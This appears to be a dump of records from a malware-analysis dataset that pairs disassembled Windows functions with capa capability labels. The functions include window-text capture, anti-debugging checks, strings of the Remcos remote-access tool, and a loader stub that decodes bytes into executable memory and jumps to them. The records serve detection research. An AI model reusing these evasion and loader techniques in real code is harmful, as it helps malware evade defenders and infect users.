joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41aa48
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
push ebx
push esi
push edi
mov dword [esp + 0x10], ecx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edi, eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, eax
xor ebx, ebx
test esi, esi
je 0x41ab45
push ebx
inc esi
lea ecx, [esp + 0x34]
push esi
call fcn.0040adcf
push esi
lea ecx, [esp + 0x34]
call fcn.00401ee4
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x34]
call fcn.004022e5
mov edi, eax
lea ecx, [esp + 0x30]
lea eax, [esp + 0x18]
push eax
call fcn.004022aa
mov esi, eax
lea ecx, [esp + 0x30]
lea eax, [esp + 0x1c]
push eax
call fcn.004022e5
push dword [edi]
lea ecx, [esp + 0x24]
push dword [esi]
push dword [eax]
call fcn.00409291
sub esp, 0xc
mov ecx, esp
push 0x46aa90
call fcn.0040415e
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.004086d0
lea ecx, [esp + 0x54]
call fcn.0041a5c2
add esp, 0x30
lea ecx, [esp + 0x24]
mov edi, ebx
call fcn.004021da
test eax, eax
je 0x41ab33
mov esi, ebx
push ebx
push esi
lea ecx, [esp + 0x2c]
call fcn.00401e45
push eax
lea ecx, [esp + 0x38]
call fcn.00409114
cmp eax, 0xffffffff
jne 0x41ab56
inc edi
lea ecx, [esp + 0x24]
movzx esi, di
call fcn.004021da
cmp esi, eax
jb 0x41ab08
lea ecx, [esp + 0x24]
call fcn.00406150
lea ecx, [esp + 0x30]
call fcn.00401ee9
lea ecx, [ebp + 8]
call fcn.00401ee9
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [esp + 0x10]
test esi, esi
je 0x41ab70
lea ecx, [esp + 0x30]
call fcn.00401ee4
push eax
push esi
call fcn.0043dc74
pop ecx
pop ecx
lea ecx, [esp + 0x24]
call fcn.00406150
lea ecx, [esp + 0x30]
call fcn.00401ee9
mov bl, 1
jmp 0x41ab45
Function at 0x41aed9
Capabilities:
Change the wallpaper

Disassembly:
push ebx
push esi
push edi
mov edi, edx
sub ecx, 0
je 0x41af85
sub ecx, 1
je 0x41af77
sub ecx, 1
je 0x41af69
sub ecx, 1
je 0x41af36
sub ecx, 1
jne 0x41afc7
push 1
sub esp, 0x18
mov ecx, esp
push 0x4640ec
call fcn.00402073
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.00412914
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0x4640e8
jmp 0x41afb3
push 1
sub esp, 0x18
mov ecx, esp
push 0x46a5b8
call fcn.00402073
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.00412914
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0x4640ec
jmp 0x41afb3
push 1
sub esp, 0x18
mov ecx, esp
push 0x46a9ac
jmp 0x41af42
push 1
sub esp, 0x18
mov ecx, esp
push 0x4640d4
jmp 0x41af42
push 1
sub esp, 0x18
mov ebx, 0x4640ec
mov ecx, esp
push ebx
call fcn.00402073
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.00412914
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push ebx
call fcn.00402073
push str.TileWallpaper
mov edx, esi
call fcn.00412914
add esp, 0x20
push 3
push edi
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
pop edi
pop esi
pop ebx
ret

Function at 0x41b1ff
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
mov bl, cl
call dword [sym.imp.KERNEL32.DLL_AllocConsole]
call dword [0x472b04]
test bl, bl
mov dword [0x472b08], eax
pop ebx
jne 0x41b227
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 1
call fcn.0043a608
push eax
push 0x46ad30
push str.CONOUT_
call fcn.00440092
add esp, 0x10
push 0x4e4
call dword [sym.imp.KERNEL32.DLL_SetConsoleOutputCP]
call fcn.0041b1bc
push 0x64
lea eax, [ebp - 0x64]
push 0
push eax
call fcn.00435330
lea eax, [ebp - 0x64]
push str._n_tRemcos_v
push eax
call fcn.004403d0
lea eax, [ebp - 0x64]
push str.4.4.0_Pro
push eax
call fcn.004403d0
lea eax, [ebp - 0x64]
push 0x46ae38
push eax
call fcn.004403d0
lea eax, [ebp - 0x64]
push eax
call fcn.00406874
add esp, 0x28
mov esp, ebp
pop ebp
ret
Function at 0x420487
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [ecx + 4]
xor eax, eax
xor edx, edx
movzx ecx, word [esi]
cmp ax, cx
jae 0x4204b2
movzx eax, dx
mov al, byte [eax + esi + 4]
cmp al, 0x13
je 0x4204b2
cmp al, 0xc0
je 0x4204b2
cmp al, 0xcc
je 0x4204b2
add edx, 2
cmp dx, cx
jb 0x420497
pop esi
ret

Function at 0x422f61
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov edi, edx
mov edx, dword [esp + 0x10]
lea esi, [edi + 4]
push esi
call fcn.00422efe
mov edx, dword [esp + 0x10]
pop ecx
push 4
sub edx, edi
pop ecx
mov al, byte [edx + edi]
mov byte [edi], al
inc edi
sub ecx, 1
jne 0x422f7c
push 8
pop ecx
mov al, byte [esi + edx]
xor byte [esi], al
inc esi
sub ecx, 1
jne 0x422f8a
pop edi
pop esi
ret

Function at 0x4251e5
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x4251fd
sub edx, ecx
mov eax, dword [edx + ecx]
xor dword [ecx], eax
lea ecx, [ecx + 4]
sub esi, 1
jne 0x4251f0
pop esi
ret

Function at 0x4251ff
Capabilities:
Encode data using xor

Disassembly:
mov eax, ecx
or eax, edx
push esi
mov esi, dword [esp + 8]
or eax, esi
test al, 3
jne 0x42521a
shr esi, 2
push esi
call fcn.004251e5
pop ecx
pop esi
ret
test esi, esi
je 0x42522b
sub edx, ecx
mov al, byte [edx + ecx]
xor byte [ecx], al
inc ecx
sub esi, 1
jne 0x425220
pop esi
ret

Function at 0x42522d
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, dword [esp + 0x10]
xor eax, eax
mov esi, edx
mov ebx, ecx
test edi, edi
jle 0x425251
sub ebx, esi
movzx edx, byte [ebx + esi]
movzx ecx, byte [esi]
xor edx, ecx
or eax, edx
inc esi
sub edi, 1
jne 0x425240
pop edi
pop esi
pop ebx
ret

Function at 0x425255
Capabilities:
Encrypt data using aes

Disassembly:
xor eax, eax
mov ecx, 0x4666e0
push 0x20
pop edx
and eax, dword [ecx]
add ecx, 0x20
sub edx, 1
jne 0x42525f
cmp ecx, str.SHA256wECDSA
jl 0x42525c
ret
Function at 0x429cbc
Capabilities:
Encode data using base64

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [esp + 0x1c]
lea eax, [edx + 0x3f]
push esi
shr eax, 6
mov esi, edx
sub esi, eax
mov dword [esp + 0x10], edx
push edi
xor edi, edi
mov ebx, ecx
and dword [esp + 0x18], edi
inc esi
imul eax, esi, 3
shr eax, 2
cmp eax, dword [ebp]
jbe 0x429cf3
mov eax, 0xffffff53
jmp 0x429ec6
mov esi, dword [esp + 0x20]
cmp edx, 3
jbe 0x429eb4
lea eax, [esp + 0x18]
mov ecx, ebx
push eax
lea edx, [esp + 0x18]
call fcn.00429c5e
add esp, 4
test eax, eax
jne 0x429ead
mov eax, dword [esp + 0x18]
mov cl, byte [eax + ebx]
inc eax
mov byte [esp + 0x13], cl
mov dword [esp + 0x18], eax
test cl, cl
je 0x429eb4
dec dword [esp + 0x14]
lea eax, [esp + 0x18]
push eax
mov ecx, ebx
call fcn.00429c5e
add esp, 4
test eax, eax
jne 0x429ec6
mov eax, dword [esp + 0x18]
mov cl, byte [eax + ebx]
inc eax
dec dword [esp + 0x14]
mov dword [esp + 0x18], eax
lea eax, [esp + 0x18]
mov byte [esp + 0x12], cl
mov ecx, ebx
push eax
call fcn.00429c5e
add esp, 4
test eax, eax
jne 0x429ec6
mov eax, dword [esp + 0x18]
mov cl, byte [eax + ebx]
inc eax
dec dword [esp + 0x14]
mov dword [esp + 0x18], eax
lea eax, [esp + 0x18]
mov byte [esp + 0x24], cl
mov ecx, ebx
push eax
call fcn.00429c5e
add esp, 4
test eax, eax
jne 0x429ec6
mov eax, dword [esp + 0x18]
mov dl, byte [esp + 0x13]
mov dh, byte [eax + ebx]
inc eax
dec dword [esp + 0x14]
mov dword [esp + 0x18], eax
cmp dl, 0x2b
jb 0x429ea6
mov cl, byte [esp + 0x12]
cmp cl, 0x2b
jb 0x429ea6
mov al, byte [esp + 0x24]
cmp al, 0x2b
jb 0x429ea6
cmp dh, 0x2b
jb 0x429ea6
cmp dl, 0x7a
ja 0x429ea6
cmp cl, 0x7a
ja 0x429ea6
cmp al, 0x7a
ja 0x429ea6
cmp dh, 0x7a
ja 0x429ea6
xor ecx, ecx
cmp al, 0x3d
setne cl
xor eax, eax
inc ecx
cmp dh, 0x3d
setne al
add ecx, edi
add eax, ecx
cmp eax, dword [ebp]
ja 0x429ce9
mov cl, byte [esp + 0x12]
movzx eax, dl
mov al, byte [eax + 0x467825]
mov byte [esp + 0x13], al
movzx eax, cl
mov ch, byte [eax + 0x467825]
mov al, byte [esp + 0x24]
cmp al, 0x3d
jne 0x429e49
xor cl, cl
jmp 0x429e52
movzx eax, al
mov cl, byte [eax + 0x467825]
cmp dh, 0x3d
jne 0x429e5b
xor al, al
jmp 0x429e64
movzx eax, dh
mov al, byte [eax + 0x467825]
mov ah, byte [esp + 0x13]
mov dl, cl
shl dl, 6
or dl, al
shl ah, 2
mov al, ch
shr al, 4
or al, ah
mov byte [edi + esi], al
inc edi
cmp byte [esp + 0x24], 0x3d
je 0x429e90
shr cl, 2
shl ch, 4
or cl, ch
mov byte [edi + esi], cl
inc edi
cmp dh, 0x3d
je 0x429eb4
mov byte [edi + esi], dl
inc edi
cmp dword [esp + 0x14], 3
ja 0x429d00
jmp 0x429eb4
mov eax, 0xffffff66
jmp 0x429ec6
cmp eax, 0xffffff7c
jne 0x429ec6
test esi, esi
je 0x429ec1
cmp dword [ebp], edi
jbe 0x429ec1
mov byte [edi + esi], 0
mov dword [ebp], edi
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x42d5c2
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, ecx
test edi, edi
je 0x42d6bc
cmp dword [esp + 0x14], 0
mov esi, dword [esp + 0x18]
jne 0x42d5e3
test esi, esi
jne 0x42d6bc
cmp edx, 3
je 0x42d619
cmp edx, 4
je 0x42d619
cmp edx, 5
je 0x42d619
cmp edx, 6
je 0x42d619
cmp edx, 7
je 0x42d619
cmp edx, 8
je 0x42d619
cmp edx, 0xa
je 0x42d619
cmp edx, 0xb
je 0x42d619
cmp edx, 0xc
je 0x42d619
cmp edx, 0xd
jne 0x42d6bc
xor ebx, ebx
mov byte [edi + 0x114], dl
push ecx
mov byte [edi + 0x115], bl
call fcn.0042d5a5
mov ebp, eax
pop ecx
test ebp, ebp
jne 0x42d6c1
cmp byte [edi + 0x114], 6
lea ecx, [edi + 0x70]
jne 0x42d6bc
cmp esi, 0x40
ja 0x42d65f
cmp dword [esp + 0x14], ebx
je 0x42d688
push esi
push dword [esp + 0x18]
push ecx
call fcn.00434db0
add esp, 0xc
jmp 0x42d685
mov edx, dword [esp + 0x14]
mov ecx, edi
push esi
call fcn.004324a4
mov ebp, eax
pop ecx
test ebp, ebp
jne 0x42d6b8
lea edx, [edi + 0x70]
mov ecx, edi
call fcn.0043257f
mov ebp, eax
test ebp, ebp
jne 0x42d6b8
push 0x20
pop esi
lea ecx, [edi + 0x70]
cmp esi, 0x40
jae 0x42d6a0
push pe_nt_image_headers32
pop eax
sub eax, esi
push eax
lea eax, [ecx + esi]
push ebx
push eax
call fcn.00435330
add esp, 0xc
mov al, byte [ebx + edi + 0x70]
xor al, 0x5c
mov byte [edi + ebx + 0xb0], al
xor byte [ebx + edi + 0x70], 0x36
inc ebx
cmp ebx, 0x40
jb 0x42d6a0
mov eax, ebp
jmp 0x42d6c1
mov eax, 0xffffff53
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x431540
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xd4
push ebx
push ebp
push esi
xor ebx, ebx
xor esi, esi
push edi
inc ebx
inc esi
cmp dword [esp + 0xe8], 0
mov edi, ecx
push 0
cmovne ebx, dword [esp + 0xec]
mov ebp, edx
pop ecx
test bl, 0x1f
mov eax, ebx
push 0x37
push dword [esp + 0xf0]
setne cl
shr eax, 5
add eax, ecx
mov dword [esp + 0x18], eax
lea eax, [esp + 0x44]
push eax
call fcn.00434db0
and dword [esp + 0x20], 0
add esp, 0xc
cmp dword [esp + 0x10], 0
jbe 0x43167e
lea ecx, [esp + 0x74]
call fcn.004325be
mov esi, eax
test esi, esi
jne 0x43167e
push 0x37
lea edx, [esp + 0x40]
lea ecx, [esp + 0x78]
call fcn.004324a4
mov esi, eax
pop ecx
test esi, esi
jne 0x43167e
lea edx, [esp + 0x1c]
lea ecx, [esp + 0x74]
call fcn.0043257f
mov esi, eax
test esi, esi
jne 0x43167e
push 4
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x20]
push eax
call fcn.00434db0
mov eax, dword [esp + 0x24]
add esp, 0xc
cmp dword [edi], 1
jbe 0x431629
cmp eax, dword [edi + 4]
jne 0x431629
cmp byte [edi + 0x76], 1
je 0x43169c
mov edx, dword [esp + 0x10]
mov byte [edi + 0x76], 1
lea eax, [edx - 1]
cmp dword [esp + 0x14], eax
lea ecx, [edx + 1]
cmovne ecx, edx
mov dword [esp + 0x10], ecx
jmp 0x431630
mov byte [edi + 0x76], 0
mov dword [edi + 4], eax
test ebp, ebp
je 0x43166b
test ebx, ebx
je 0x43166b
lea eax, [esp + 0x1c]
cmp ebx, 0x20
jb 0x43165e
push 0x20
push eax
push ebp
call fcn.00434db0
add esp, 0xc
lea ecx, [esp + 0x3c]
sub ebx, 0x20
add ebp, 0x20
call fcn.00431531
jmp 0x43166b
push ebx
push eax
push ebp
call fcn.00434db0
add esp, 0xc
xor ebx, ebx
mov eax, dword [esp + 0x14]
inc eax
mov dword [esp + 0x14], eax
cmp eax, dword [esp + 0x10]
jl 0x43159e
push 0x37
pop edx
lea ecx, [esp + 0x3c]
call fcn.0041baf2
xor eax, eax
test esi, esi
setne al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xd4
ret
push 3
pop eax
jmp 0x431691

Function at 0x431d98
Capabilities:
Hash data using sha256

Disassembly:
push esi
mov esi, ecx
test esi, esi
jne 0x431d44
mov eax, 0xffffff53
pop esi
ret
push edi
push 0x20
xor edi, edi
push edi
push esi
call fcn.00435330
add esp, 0xc
mov dword [esi + 0x60], edi
mov dword [esi + 0x64], edi
xor eax, eax
mov dword [esi + 0x68], edi
mov dword [esi], 0x6a09e667
pop edi
mov dword [esi + 4], 0xbb67ae85
mov dword [esi + 8], 0x3c6ef372
mov dword [esi + 0xc], 0xa54ff53a
mov dword [esi + 0x10], 0x510e527f
mov dword [esi + 0x14], 0x9b05688c
mov dword [esi + 0x18], 0x1f83d9ab
mov dword [esi + 0x1c], 0x5be0cd19
pop esi
ret
test ecx, ecx
jne 0x431da2
mov eax, 0xffffff53
ret
mov dword [ecx + 0x6c], edx
jmp 0x431d36
Function at 0x4324c3
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, ecx
test ebx, ebx
jne 0x4324d1
mov eax, 0xffffff53
pop ebx
ret
mov eax, dword [ebx + 0x60]
push ebp
push esi
push edi
push pe_nt_image_headers32
pop edi
lea ebp, [ebx + 0x20]
mov byte [eax + ebp], 0x80
inc dword [ebx + 0x60]
mov ecx, dword [ebx + 0x60]
push 0x38
pop esi
cmp ecx, esi
jbe 0x43251e
mov eax, edi
sub eax, ecx
push eax
lea eax, [ecx + ebp]
push 0
push eax
call fcn.00435330
push edi
mov edx, ebp
mov dword [ebx + 0x60], edi
mov ecx, ebp
call fcn.00431d0c
add esp, 0x10
mov edx, ebp
mov ecx, ebx
call fcn.00431daa
test eax, eax
jne 0x43257a
and dword [ebx + 0x60], eax
mov eax, dword [ebx + 0x60]
sub esi, eax
push esi
add eax, ebp
push 0
push eax
call fcn.00435330
lea edi, [ebx + 0x64]
mov edx, ebp
mov ecx, dword [edi]
lea esi, [ebx + 0x68]
mov eax, dword [esi]
shr ecx, 0x1d
push pe_nt_image_headers32
lea eax, [ecx + eax*8]
mov ecx, ebp
mov dword [esi], eax
mov eax, dword [edi]
shl eax, 3
mov dword [edi], eax
call fcn.00431d0c
push 4
lea eax, [ebp + 0x38]
push esi
push eax
call fcn.00434db0
push 4
lea eax, [ebp + 0x3c]
push edi
push eax
call fcn.00434db0
add esp, 0x28
mov edx, ebp
mov ecx, ebx
pop edi
pop esi
pop ebp
pop ebx
jmp fcn.00431daa
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x43257f
Capabilities:
Hash data using sha256

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, edx
test esi, esi
je 0x4325b6
test edi, edi
je 0x4325b6
call fcn.004324c3
test eax, eax
jne 0x4325bb
push 0x20
mov edx, esi
mov ecx, esi
call fcn.00431d0c
push 0x20
push esi
push edi
call fcn.00434db0
add esp, 0x10
mov ecx, esi
pop edi
pop esi
jmp 0x431d36
mov eax, 0xffffff53
pop edi
pop esi
ret

Function at 0x43266e
Capabilities:
Encode data using xor

Disassembly:
push ecx
push ecx
push ebx
push ebp
mov eax, edx
mov ebp, ecx
neg eax
mov dword [esp + 8], eax
test ebp, ebp
je 0x432708
mov ebx, dword [esp + 0x14]
test ebx, ebx
je 0x432708
mov edx, dword [ebp]
mov ecx, ebx
inc edx
call fcn.0042dd51
mov dword [esp + 0xc], eax
test eax, eax
jne 0x43270d
xor edx, edx
push esi
push edi
cmp dword [ebp], edx
jle 0x4326ce
mov edi, dword [ebx + 0xc]
mov ecx, ebp
call fcn.00432658
mov ecx, ebx
mov esi, eax
call fcn.00432658
mov ecx, dword [esp + 0x10]
xor esi, eax
and esi, ecx
xor dword [edi + edx*4], esi
inc edx
cmp edx, dword [ebp]
jl 0x4326a8
jmp 0x4326f3
mov ecx, dword [esp + 0x10]
jmp 0x4326f3
mov edi, dword [ebx + 0xc]
mov ecx, ebp
call fcn.00432658
mov ecx, ebx
mov esi, eax
call fcn.00432658
mov ecx, dword [esp + 0x10]
xor esi, eax
and esi, ecx
xor dword [edi + edx*4], esi
inc edx
cmp edx, dword [ebx]
jl 0x4326d4
mov eax, dword [ebp]
xor eax, dword [ebx]
and eax, ecx
xor dword [ebx], eax
mov eax, dword [esp + 0x14]
pop edi
pop esi
jmp 0x43270d
mov eax, 0xffffff53
pop ebp
pop ebx
pop ecx
pop ecx
ret

Function at 0x44a4c6
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0044a345

Function at 0x44df20
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0044d88e
Function at 0x44df2b
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0044dac9
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push esi
push str.lr1_dll.dll
mov dword [0x405438], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x405438], eax
test eax, eax
je 0x40109a
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.getName
push eax
call esi
push str.dispayGroup
push dword [0x405438]
mov dword [0x40543c], eax
call esi
push 0x1e
mov dword [0x405434], eax
call fcn.004013dd
add esp, 4
mov esi, eax
push esi
call dword [0x40543c]
push 0x4013a0
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, esi
call fcn.00401180
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0x90574
call dword [0x405434]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::basic_istream_char__struct_std::char_traits_char__::get_void_]
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Error_load_DLL
call fcn.00401180
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::basic_istream_char__struct_std::char_traits_char__::get_void_]
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3

Function at 0x401c0d
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401c4c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401c4c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401c4c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401c4c
cmp dword [ecx + 0x74], 0xe
jbe 0x401c4c
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x46c340
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0xf045d670
jmp 0x46c251
mov al, 0x78
cpuid
mov ebx, 0x44de377b
jmp 0x46c2e5
jmp 0x46c23b
sub esp, 0xc0
mov ebp, esp
mov edx, dword [esp]
mov ecx, dword [esp]
jmp 0x46c29f
lea edi, [esp]
mov ebp, ecx
lea ebp, [ecx + edi]
cpuid
bswap eax
jmp 0x46c253
xchg bh, bl
xchg ecx, eax
mov esi, dword [esp + 0x2c]
mov bx, word [esp]
xchg ah, cl
xchg dx, di
lea edx, [eax*4]
jmp 0x46c27b
mov dword [esp + 0x44], edi
lea esp, [esp + 0x44]
pushfd
jmp 0x46c1a6

Function at 0x5b02bb
Capabilities:
Access peb ldr_data

Disassembly:
push dword [esp]
lea esp, [esp + 2]
jmp 0x5b02fa
mov dword [esp + 0x2c], edi
lea esp, [esp + 0x2c]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
jmp 0x5b02e0
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.10009830
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.10009830
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.10009830
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.10009830
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.10009830
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.10009830
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.10009830
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.10009830
push 0xd008
push edi
call fcn.10009830
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.10009830
int3

Function at 0x10009830
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x1000983f
pop dword [ebp - 0xc]
mov eax, 0xd84dfb00
sub eax, 0xc84d62c1
sub dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x3c4b7
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0xc]
call dword [eax]
mov ecx, 0x7ef7a3c6
add ecx, 0x8108b166
xor ebx, ebx
add ebx, eax
mov edi, 0x10018600
add edi, dword [ebp - 0xc]
mov edx, 0xeb0ac949
xor dword [ebp - 4], 0xb4839684
mov esi, dword [edi]
sub dword [ebp - 8], 0xe5554edf
sub esi, edx
sub dword [ebp - 8], 0x7a7b5454
mov dword [ebx], esi
add dword [ebp - 8], 0xd11765ee
add ebx, 0x9444b683
sub ebx, 0x9444b67f
add edi, 0x55a6200a
sub edi, 0x55a62006
loop 0x1000988f
add eax, 0x78ed155d
sub eax, 0x78ebcdda
mov ebx, eax
add eax, 5
mov ecx, 0x19081806
sub ecx, 0x9081806
add ecx, dword [ebp - 0xc]
call ebx
leave
ret